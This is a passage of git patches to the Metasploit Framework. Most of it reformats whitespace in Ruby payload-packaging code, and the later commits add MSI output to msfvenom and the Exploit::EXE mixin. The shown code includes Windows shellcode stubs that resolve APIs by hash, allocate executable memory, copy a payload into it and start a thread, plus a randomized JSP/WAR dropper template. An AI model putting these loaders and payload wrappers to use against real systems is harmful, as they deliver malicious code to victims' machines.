payload poff -= 256 eidx = rand(block[1] - (poff + payload.length)) + poff + payload.length end @@ -716,7 +716,7 @@ require 'digest/sha1' # This will become a modified copy of the template's original phdr new_phdr = Metasm::EncodedData.new e.segments.each { |s| - # Be lazy and mark any executable segment as writable. Doing + # Be lazy and mark any executable segment as writable. Doing # it this way means we don't have to care about which one # contains .text if s.flags.include? "X" @@ -896,14 +896,14 @@ require 'digest/sha1' var_lpStartAddress = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_lpParameter = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_dwCreationFlags = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - var_lpThreadID = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - var_lpAddr = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - var_lSize = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + var_lpThreadID = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + var_lpAddr = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + var_lSize = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_flAllocationType = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - var_flProtect = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - var_lDest = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - var_Source = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - var_Length = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + var_flProtect = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + var_lDest = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + var_Source = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + var_Length = Rex::Text.rand_text_alpha(rand(7)+3).capitalize # put the shellcode bytes into an array bytes = '' @@ -954,7 +954,7 @@ End Sub end def self.to_exe_vbs(exes = '', opts={}) - delay = opts[:delay] || 5 + delay = opts[:delay] || 5 persist = opts[:persist] || false exe = exes.unpack('C*') @@ -1327,23 +1327,23 @@ End Sub def self.to_jsp_war(exe, opts={}) # begin .jsp - var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8) - var_exepath = Rex::Text.rand_text_alpha(rand(8)+8) - var_data = Rex::Text.rand_text_alpha(rand(8)+8) + var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8) + var_exepath = Rex::Text.rand_text_alpha(rand(8)+8) + var_data = Rex::Text.rand_text_alpha(rand(8)+8) var_inputstream = Rex::Text.rand_text_alpha(rand(8)+8) var_outputstream = Rex::Text.rand_text_alpha(rand(8)+8) - var_numbytes = Rex::Text.rand_text_alpha(rand(8)+8) - var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8) - var_bytes = Rex::Text.rand_text_alpha(rand(8)+8) - var_counter = Rex::Text.rand_text_alpha(rand(8)+8) - var_char1 = Rex::Text.rand_text_alpha(rand(8)+8) - var_char2 = Rex::Text.rand_text_alpha(rand(8)+8) - var_comb = Rex::Text.rand_text_alpha(rand(8)+8) - var_exe = Rex::Text.rand_text_alpha(rand(8)+8) - var_hexfile = Rex::Text.rand_text_alpha(rand(8)+8) - var_proc = Rex::Text.rand_text_alpha(rand(8)+8) - var_fperm = Rex::Text.rand_text_alpha(rand(8)+8) - var_fdel = Rex::Text.rand_text_alpha(rand(8)+8) + var_numbytes = Rex::Text.rand_text_alpha(rand(8)+8) + var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8) + var_bytes = Rex::Text.rand_text_alpha(rand(8)+8) + var_counter = Rex::Text.rand_text_alpha(rand(8)+8) + var_char1 = Rex::Text.rand_text_alpha(rand(8)+8) + var_char2 = Rex::Text.rand_text_alpha(rand(8)+8) + var_comb = Rex::Text.rand_text_alpha(rand(8)+8) + var_exe = Rex::Text.rand_text_alpha(rand(8)+8) + var_hexfile = Rex::Text.rand_text_alpha(rand(8)+8) + var_proc = Rex::Text.rand_text_alpha(rand(8)+8) + var_fperm = Rex::Text.rand_text_alpha(rand(8)+8) + var_fdel = Rex::Text.rand_text_alpha(rand(8)+8) jspraw = "<%@ page import=\"java.io.*\" %>\n" jspraw << "<%\n" @@ -1438,7 +1438,7 @@ End Sub # Write the data into the .text segment text_offset = opts[:text_offset] || 0x1065 text_max = opts[:text_max] || 0x8000 - pack = opts[:pack] || 'a32768' + pack = opts[:pack] || 'a32768' pe[text_offset, text_max] = [data].pack(pack) # Generic a randomized UUID @@ -1492,89 +1492,89 @@ End Sub ; Note: This function is unable to call forwarded exports. api_call: - pushad ; We preserve all the registers for the caller, bar EAX and ECX. - mov ebp, esp ; Create a new stack frame - xor eax, eax ; Zero EDX - mov eax, [fs:eax+48] ; Get a pointer to the PEB - mov eax, [eax+12] ; Get PEB->Ldr - mov eax, [eax+20] ; Get the first module from the InMemoryOrder module list + pushad ; We preserve all the registers for the caller, bar EAX and ECX. + mov ebp, esp ; Create a new stack frame + xor eax, eax ; Zero EDX + mov eax, [fs:eax+48] ; Get a pointer to the PEB + mov eax, [eax+12] ; Get PEB->Ldr + mov eax, [eax+20] ; Get the first module from the InMemoryOrder module list mov edx, eax - next_mod: ; - mov esi, [edx+40] ; Get pointer to modules name (unicode string) + next_mod: ; + mov esi, [edx+40] ; Get pointer to modules name (unicode string) movzx ecx, word [edx+38] ; Set ECX to the length we want to check - xor edi, edi ; Clear EDI which will store the hash of the module name - loop_modname: ; - xor eax, eax ; Clear EAX - lodsb ; Read in the next byte of the name - cmp al, 'a' ; Some versions of Windows use lower case module names - jl not_lowercase ; - sub al, 0x20 ; If so normalise to uppercase - not_lowercase: ; - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name + xor edi, edi ; Clear EDI which will store the hash of the module name + loop_modname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase + not_lowercase: ; + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name dec ecx - jnz loop_modname ; Loop untill we have read enough + jnz loop_modname ; Loop untill we have read enough ; We now have the module hash computed - push edx ; Save the current position in the module list for later - push edi ; Save the current module hash for later + push edx ; Save the current position in the module list for later + push edi ; Save the current module hash for later ; Proceed to iterate the export address table, - mov edx, [edx+16] ; Get this modules base address - mov eax, [edx+60] ; Get PE header - add eax, edx ; Add the modules base address - mov eax, [eax+120] ; Get export tables RVA - test eax, eax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add eax, edx ; Add the modules base address - push eax ; Save the current modules EAT - mov ecx, [eax+24] ; Get the number of function names - mov ebx, [eax+32] ; Get the rva of the function names - add ebx, edx ; Add the modules base address + mov edx, [edx+16] ; Get this modules base address + mov eax, [edx+60] ; Get PE header + add eax, edx ; Add the modules base address + mov eax, [eax+120] ; Get export tables RVA + test eax, eax ; Test if no export address table is present + jz get_next_mod1 ; If no EAT present, process the next module + add eax, edx ; Add the modules base address + push eax ; Save the current modules EAT + mov ecx, [eax+24] ; Get the number of function names + mov ebx, [eax+32] ; Get the rva of the function names + add ebx, edx ; Add the modules base address ; Computing the module hash + function hash - get_next_func: ; - test ecx, ecx ; (Changed from JECXZ to work around METASM) - jz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module - dec ecx ; Decrement the function name counter - mov esi, [ebx+ecx*4] ; Get rva of next module name - add esi, edx ; Add the modules base address - xor edi, edi ; Clear EDI which will store the hash of the function name + get_next_func: ; + test ecx, ecx ; (Changed from JECXZ to work around METASM) + jz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module + dec ecx ; Decrement the function name counter + mov esi, [ebx+ecx*4] ; Get rva of next module name + add esi, edx ; Add the modules base address + xor edi, edi ; Clear EDI which will store the hash of the function name ; And compare it to the one we want - loop_funcname: ; - xor eax, eax ; Clear EAX - lodsb ; Read in the next byte of the ASCII function name - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name - cmp al, ah ; Compare AL (the next byte from the name) to AH (null) - jne loop_funcname ; If we have not reached the null terminator, continue - add edi, [ebp-8] ; Add the current module hash to the function hash - cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for - jnz get_next_func ; Go compute the next function hash if we have not found it + loop_funcname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the ASCII function name + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + cmp al, ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add edi, [ebp-8] ; Add the current module hash to the function hash + cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for + jnz get_next_func ; Go compute the next function hash if we have not found it ; If found, fix up stack, call the function and then value else compute the next one... - pop eax ; Restore the current modules EAT - mov ebx, [eax+36] ; Get the ordinal table rva - add ebx, edx ; Add the modules base address - mov cx, [ebx+2*ecx] ; Get the desired functions ordinal - mov ebx, [eax+28] ; Get the function addresses table rva - add ebx, edx ; Add the modules base address - mov eax, [ebx+4*ecx] ; Get the desired functions RVA - add eax, edx ; Add the modules base address to get the functions actual VA + pop eax ; Restore the current modules EAT + mov ebx, [eax+36] ; Get the ordinal table rva + add ebx, edx ; Add the modules base address + mov cx, [ebx+2*ecx] ; Get the desired functions ordinal + mov ebx, [eax+28] ; Get the function addresses table rva + add ebx, edx ; Add the modules base address + mov eax, [ebx+4*ecx] ; Get the desired functions RVA + add eax, edx ; Add the modules base address to get the functions actual VA ; We now fix up the stack and perform the call to the desired function... finish: - mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad - pop ebx ; Clear off the current modules hash - pop ebx ; Clear off the current position in the module list - popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered - pop ecx ; Pop off the origional return address our caller will have pushed - pop edx ; Pop off the hash value our caller will have pushed - push ecx ; Push back the correct return value - jmp eax ; Jump into the required function + mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad + pop ebx ; Clear off the current modules hash + pop ebx ; Clear off the current position in the module list + popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered + pop ecx ; Pop off the origional return address our caller will have pushed + pop edx ; Pop off the hash value our caller will have pushed + push ecx ; Push back the correct return value + jmp eax ; Jump into the required function ; We now automagically return to the correct caller... - get_next_mod: ; - pop eax ; Pop off the current (now the previous) modules EAT - get_next_mod1: ; - pop edi ; Pop off the current (now the previous) modules hash - pop edx ; Restore our position in the module list - mov edx, [edx] ; Get the next module - jmp next_mod ; Process this module + get_next_mod: ; + pop eax ; Pop off the current (now the previous) modules EAT + get_next_mod1: ; + pop edi ; Pop off the current (now the previous) modules hash + pop edx ; Restore our position in the module list + mov edx, [edx] ; Get the next module + jmp next_mod ; Process this module ^ stub_exit = %Q^ @@ -1584,47 +1584,47 @@ End Sub ; Note: Execution is not expected to (successfully) continue past this block exitfunk: - mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user... - push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) - call ebp ; GetVersion(); (AL will = major version and AH will = minor version) - cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7 - jl goodbye ; Then just call the exit function... - cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... - jne goodbye ; - mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread - goodbye: ; We now perform the actual call to the exit function - push byte 0 ; push the exit function parameter - push ebx ; push the hash of the exit function - call ebp ; call EXITFUNK( 0 ); + mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user... + push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) + call ebp ; GetVersion(); (AL will = major version and AH will = minor version) + cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7 + jl goodbye ; Then just call the exit function... + cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... + jne goodbye ; + mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread + goodbye: ; We now perform the actual call to the exit function + push byte 0 ; push the exit function parameter + push ebx ; push the hash of the exit function + call ebp ; call EXITFUNK( 0 ); ^ stub_alloc = %Q^ - cld ; Clear the direction flag. - call start ; Call start, this pushes the address of 'api_call' onto the stack. - delta: ; + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. + delta: ; #{stub_block} - start: ; - pop ebp ; Pop off the address of 'api_call' for calling later. + start: ; + pop ebp ; Pop off the address of 'api_call' for calling later. allocate_size: mov esi,PAYLOAD_SIZE allocate: - push byte 0x40 ; PAGE_EXECUTE_READWRITE - push 0x1000 ; MEM_COMMIT - push esi ; Push the length value of the wrapped code block - push byte 0 ; NULL as we dont care where the allocation is. - push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) - call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + push byte 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + push esi ; Push the length value of the wrapped code block + push byte 0 ; NULL as we dont care where the allocation is. + push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - mov ebx, eax ; Store allocated address in ebx - mov edi, eax ; Prepare EDI with the new address - mov ecx, esi ; Prepare ECX with the length of the code + mov ebx, eax ; Store allocated address in ebx + mov edi, eax ; Prepare EDI with the new address + mov ecx, esi ; Prepare ECX with the length of the code call get_payload got_payload: - pop esi ; Prepare ESI with the source to copy - rep movsb ; Copy the payload to RWX memory - call set_handler ; Configure error handling + pop esi ; Prepare ESI with the source to copy + rep movsb ; Copy the payload to RWX memory + call set_handler ; Configure error handling exitblock: #{stub_exit} @@ -1648,7 +1648,7 @@ End Sub stub_alloc.gsub!('byte', '') wrapper = "" - # regs = %W{eax ebx ecx edx esi edi ebp} + # regs = %W{eax ebx ecx edx esi edi ebp} cnt_jmp = 0 stub_alloc.each_line do |line| @@ -1697,87 +1697,87 @@ End Sub ; Note: This function is unable to call forwarded exports. api_call: - pushad ; We preserve all the registers for the caller, bar EAX and ECX. - mov ebp, esp ; Create a new stack frame - xor edx, edx ; Zero EDX - mov edx, [fs:edx+48] ; Get a pointer to the PEB - mov edx, [edx+12] ; Get PEB->Ldr - mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list - next_mod: ; - mov esi, [edx+40] ; Get pointer to modules name (unicode string) + pushad ; We preserve all the registers for the caller, bar EAX and ECX. + mov ebp, esp ; Create a new stack frame + xor edx, edx ; Zero EDX + mov edx, [fs:edx+48] ; Get a pointer to the PEB + mov edx, [edx+12] ; Get PEB->Ldr + mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list + next_mod: ; + mov esi, [edx+40] ; Get pointer to modules name (unicode string) movzx ecx, word [edx+38] ; Set ECX to the length we want to check - xor edi, edi ; Clear EDI which will store the hash of the module name - loop_modname: ; - xor eax, eax ; Clear EAX - lodsb ; Read in the next byte of the name - cmp al, 'a' ; Some versions of Windows use lower case module names - jl not_lowercase ; - sub al, 0x20 ; If so normalise to uppercase - not_lowercase: ; - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name + xor edi, edi ; Clear EDI which will store the hash of the module name + loop_modname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase + not_lowercase: ; + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name dec ecx - jnz loop_modname ; Loop untill we have read enough + jnz loop_modname ; Loop untill we have read enough ; We now have the module hash computed - push edx ; Save the current position in the module list for later - push edi ; Save the current module hash for later + push edx ; Save the current position in the module list for later + push edi ; Save the current module hash for later ; Proceed to itterate the export address table, - mov edx, [edx+16] ; Get this modules base address - mov eax, [edx+60] ; Get PE header - add eax, edx ; Add the modules base address - mov eax, [eax+120] ; Get export tables RVA - test eax, eax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add eax, edx ; Add the modules base address - push eax ; Save the current modules EAT - mov ecx, [eax+24] ; Get the number of function names - mov ebx, [eax+32] ; Get the rva of the function names - add ebx, edx ; Add the modules base address + mov edx, [edx+16] ; Get this modules base address + mov eax, [edx+60] ; Get PE header + add eax, edx ; Add the modules base address + mov eax, [eax+120] ; Get export tables RVA + test eax, eax ; Test if no export address table is present + jz get_next_mod1 ; If no EAT present, process the next module + add eax, edx ; Add the modules base address + push eax ; Save the current modules EAT + mov ecx, [eax+24] ; Get the number of function names + mov ebx, [eax+32] ; Get the rva of the function names + add ebx, edx ; Add the modules base address ; Computing the module hash + function hash - get_next_func: ; - jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module - dec ecx ; Decrement the function name counter - mov esi, [ebx+ecx*4] ; Get rva of next module name - add esi, edx ; Add the modules base address - xor edi, edi ; Clear EDI which will store the hash of the function name + get_next_func: ; + jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module + dec ecx ; Decrement the function name counter + mov esi, [ebx+ecx*4] ; Get rva of next module name + add esi, edx ; Add the modules base address + xor edi, edi ; Clear EDI which will store the hash of the function name ; And compare it to the one we want - loop_funcname: ; - xor eax, eax ; Clear EAX - lodsb ; Read in the next byte of the ASCII function name - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name - cmp al, ah ; Compare AL (the next byte from the name) to AH (null) - jne loop_funcname ; If we have not reached the null terminator, continue - add edi, [ebp-8] ; Add the current module hash to the function hash - cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for - jnz get_next_func ; Go compute the next function hash if we have not found it + loop_funcname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the ASCII function name + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + cmp al, ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add edi, [ebp-8] ; Add the current module hash to the function hash + cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for + jnz get_next_func ; Go compute the next function hash if we have not found it ; If found, fix up stack, call the function and then value else compute the next one... - pop eax ; Restore the current modules EAT - mov ebx, [eax+36] ; Get the ordinal table rva - add ebx, edx ; Add the modules base address - mov cx, [ebx+2*ecx] ; Get the desired functions ordinal - mov ebx, [eax+28] ; Get the function addresses table rva - add ebx, edx ; Add the modules base address - mov eax, [ebx+4*ecx] ; Get the desired functions RVA - add eax, edx ; Add the modules base address to get the functions actual VA + pop eax ; Restore the current modules EAT + mov ebx, [eax+36] ; Get the ordinal table rva + add ebx, edx ; Add the modules base address + mov cx, [ebx+2*ecx] ; Get the desired functions ordinal + mov ebx, [eax+28] ; Get the function addresses table rva + add ebx, edx ; Add the modules base address + mov eax, [ebx+4*ecx] ; Get the desired functions RVA + add eax, edx ; Add the modules base address to get the functions actual VA ; We now fix up the stack and perform the call to the desired function... finish: - mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad - pop ebx ; Clear off the current modules hash - pop ebx ; Clear off the current position in the module list - popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered - pop ecx ; Pop off the origional return address our caller will have pushed - pop edx ; Pop off the hash value our caller will have pushed - push ecx ; Push back the correct return value - jmp eax ; Jump into the required function + mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad + pop ebx ; Clear off the current modules hash + pop ebx ; Clear off the current position in the module list + popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered + pop ecx ; Pop off the origional return address our caller will have pushed + pop edx ; Pop off the hash value our caller will have pushed + push ecx ; Push back the correct return value + jmp eax ; Jump into the required function ; We now automagically return to the correct caller... - get_next_mod: ; - pop eax ; Pop off the current (now the previous) modules EAT - get_next_mod1: ; - pop edi ; Pop off the current (now the previous) modules hash - pop edx ; Restore our position in the module list - mov edx, [edx] ; Get the next module - jmp next_mod ; Process this module + get_next_mod: ; + pop eax ; Pop off the current (now the previous) modules EAT + get_next_mod1: ; + pop edi ; Pop off the current (now the previous) modules hash + pop edx ; Restore our position in the module list + mov edx, [edx] ; Get the next module + jmp next_mod ; Process this module ^ stub_exit = %Q^ @@ -1787,48 +1787,48 @@ End Sub ; Note: Execution is not expected to (successfully) continue past this block exitfunk: - mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user... - push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) - call ebp ; GetVersion(); (AL will = major version and AH will = minor version) - cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7 - jl goodbye ; Then just call the exit function... - cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... - jne goodbye ; - mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread - goodbye: ; We now perform the actual call to the exit function - push byte 0 ; push the exit function parameter - push ebx ; push the hash of the exit function - call ebp ; call EXITFUNK( 0 ); + mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user... + push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) + call ebp ; GetVersion(); (AL will = major version and AH will = minor version) + cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7 + jl goodbye ; Then just call the exit function... + cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... + jne goodbye ; + mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread + goodbye: ; We now perform the actual call to the exit function + push byte 0 ; push the exit function parameter + push ebx ; push the hash of the exit function + call ebp ; call EXITFUNK( 0 ); ^ stub_alloc = %Q^ - pushad ; Save registers - cld ; Clear the direction flag. - call start ; Call start, this pushes the address of 'api_call' onto the stack. - delta: ; + pushad ; Save registers + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. + delta: ; #{stub_block} - start: ; - pop ebp ; Pop off the address of 'api_call' for calling later. + start: ; + pop ebp ; Pop off the address of 'api_call' for calling later. allocate_size: mov esi,PAYLOAD_SIZE allocate: - push byte 0x40 ; PAGE_EXECUTE_READWRITE - push 0x1000 ; MEM_COMMIT - push esi ; Push the length value of the wrapped code block - push byte 0 ; NULL as we dont care where the allocation is. - push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) - call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + push byte 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + push esi ; Push the length value of the wrapped code block + push byte 0 ; NULL as we dont care where the allocation is. + push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - mov ebx, eax ; Store allocated address in ebx - mov edi, eax ; Prepare EDI with the new address - mov ecx, esi ; Prepare ECX with the length of the code + mov ebx, eax ; Store allocated address in ebx + mov edi, eax ; Prepare EDI with the new address + mov ecx, esi ; Prepare ECX with the length of the code call get_payload got_payload: - pop esi ; Prepare ESI with the source to copy - rep movsb ; Copy the payload to RWX memory - call set_handler ; Configure error handling + pop esi ; Prepare ESI with the source to copy + rep movsb ; Copy the payload to RWX memory + call set_handler ; Configure error handling exitblock: #{stub_exit} @@ -1837,20 +1837,20 @@ End Sub xor eax,eax ; push dword [fs:eax] ; mov dword [fs:eax], esp - push eax ; LPDWORD lpThreadId (NULL) - push eax ; DWORD dwCreationFlags (0) - push eax ; LPVOID lpParameter (NULL) - push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload) - push eax ; SIZE_T dwStackSize (0 for default) - push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL) - push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" ) - call ebp ; Spawn payload thread + push eax ; LPDWORD lpThreadId (NULL) + push eax ; DWORD dwCreationFlags (0) + push eax ; LPVOID lpParameter (NULL) + push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload) + push eax ; SIZE_T dwStackSize (0 for default) + push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL) + push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" ) + call ebp ; Spawn payload thread - pop eax ; Skip -; pop eax ; Skip - pop eax ; Skip - popad ; Get our registers back -; sub esp, 44 ; Move stack pointer back past the handler + pop eax ; Skip +; pop eax ; Skip + pop eax ; Skip + popad ; Get our registers back +; sub esp, 44 ; Move stack pointer back past the handler ^ stub_final = %Q^ @@ -1865,7 +1865,7 @@ End Sub stub_alloc.gsub!('byte', '') wrapper = "" - # regs = %W{eax ebx ecx edx esi edi ebp} + # regs = %W{eax ebx ecx edx esi edi ebp} cnt_jmp = 0 cnt_nop = 64 From 0b2c0e6fc48f7d6b8c5f949991617d94d286622e Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sun, 10 Mar 2013 00:01:21 +0000 Subject: [PATCH 005/210] msfvenom update --- msfvenom | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/msfvenom b/msfvenom index 40c100d073..49aef18761 100755 --- a/msfvenom +++ b/msfvenom @@ -423,7 +423,7 @@ end $stdout.binmode -if opts[:format] !~/ruby|rb|perl|pl|bash|sh|c|js|dll|elf/i +if opts[:format] !~/ruby|rb|perl|pl|bash|sh|c|js|dll|elf|msi/i exe = Msf::Util::EXE.to_executable_fmt($framework, opts[:arch], opts[:platform], payload_raw, opts[:format], exeopts) end @@ -496,6 +496,17 @@ when /dll/i end $stdout.write dll +when /msi/i + msi = case opts[:arch] + when /x86/; Msf::Util::EXE.to_win32pe_msi($framework, payload_raw) + when /x64|x86_64/; Msf::Util::EXE.to_win64pe_msi($framework, payload_raw) + end + if msi.nil? + print_error("This format does not support that architecture") + exit + end + + $stdout.write msi when /exe/i $stdout.write exe when /exe-small/i From 71a38b81ddc3db65ae951a400a5dda1953ea77e9 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sun, 10 Mar 2013 20:54:37 +0000 Subject: [PATCH 006/210] Added generation to Exploit::EXE --- lib/msf/core/exploit/exe.rb | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index e4d632d0ef..ed485a12bb 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -102,6 +102,26 @@ module Exploit::EXE dll end + def generate_payload_msi(opts = {}) + exe_init_options(opts) + + if datastore.include? 'EXE::Custom' + exe = get_custom_exe + else + exe_init_options(opts) + exe = opts[:code] + exe ||= payload.encoded + end + if opts[:arch] and (opts[:arch] == ARCH_X64 or opts[:arch] == ARCH_X86_64) + msi = Msf::Util::EXE.to_win64pe_msi(framework, exe, opts) + else + msi = Msf::Util::EXE.to_win32pe_msi(framework, exe, opts) + end + exe_post_generation(opts) + + return msi + end + protected def exe_init_options(opts) opts.merge!( From 756dec6fcc5466aea37d52e0aadfc1ccc9164b28 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sun, 10 Mar 2013 20:56:21 +0000 Subject: [PATCH 007/210] Msftidy EXE --- lib/msf/core/exploit/exe.rb | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index ed485a12bb..eb6625793c 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -1,7 +1,4 @@ # -*- coding: binary -*- -## -# $Id$ -## ### # @@ -104,7 +101,7 @@ module Exploit::EXE def generate_payload_msi(opts = {}) exe_init_options(opts) - + if datastore.include? 'EXE::Custom' exe = get_custom_exe else From b6da5f84bb8314df0712422325efe6929c1a1ae6 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sun, 17 Mar 2013 14:09:00 -0400 Subject: [PATCH 008/210] Refactor --- lib/msf/core/exploit/exe.rb | 28 ++++++++++++++++------------ lib/msf/util/exe.rb | 25 ++++++++++++++++--------- msfvenom | 5 +++-- 3 files changed, 35 insertions(+), 23 deletions(-) diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index eb6625793c..bc63727903 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -19,16 +19,20 @@ module Exploit::EXE OptPath.new( 'EXE::Custom', [ false, 'Use custom exe instead of automatically generating a payload exe']), OptPath.new( 'EXE::Path', [ false, 'The directory in which to look for the executable template' ]), OptPath.new( 'EXE::Template', [ false, 'The executable template file name.' ]), + OptPath.new( 'MSI::Custom', [ false, 'Use custom msi instead of automatically generating a payload msi']), + OptPath.new( 'MSI::Path', [ false, 'The directory in which to look for the msi template' ]), + OptPath.new( 'MSI::Template', [ false, 'The msi template file name' ]), OptBool.new( 'EXE::Inject', [ false, 'Set to preserve the original EXE function' ]), OptBool.new( 'EXE::OldMethod', [ false, 'Set to use the substitution EXE generation method.' ]), OptBool.new( 'EXE::FallBack', [ false, 'Use the default template in case the specified one is missing' ]) ], self.class) end - def get_custom_exe - print_status("Using custom executable #{datastore["EXE::Custom"]}, RHOST and RPORT settings will be ignored!") + def get_custom_exe(path=nil) + path ||= datastore['EXE::Custom'] + print_status("Using custom payload #{path}, RHOST and RPORT settings will be ignored!") datastore['DisablePayloadHandler'] = true - file = ::File.open(datastore['EXE::Custom'],'rb') + file = ::File.open(path,'rb') exe = file.read(file.stat.size) file.close exe @@ -100,21 +104,21 @@ module Exploit::EXE end def generate_payload_msi(opts = {}) - exe_init_options(opts) + return get_custom_exe(datastore['MSI::Custom']) if 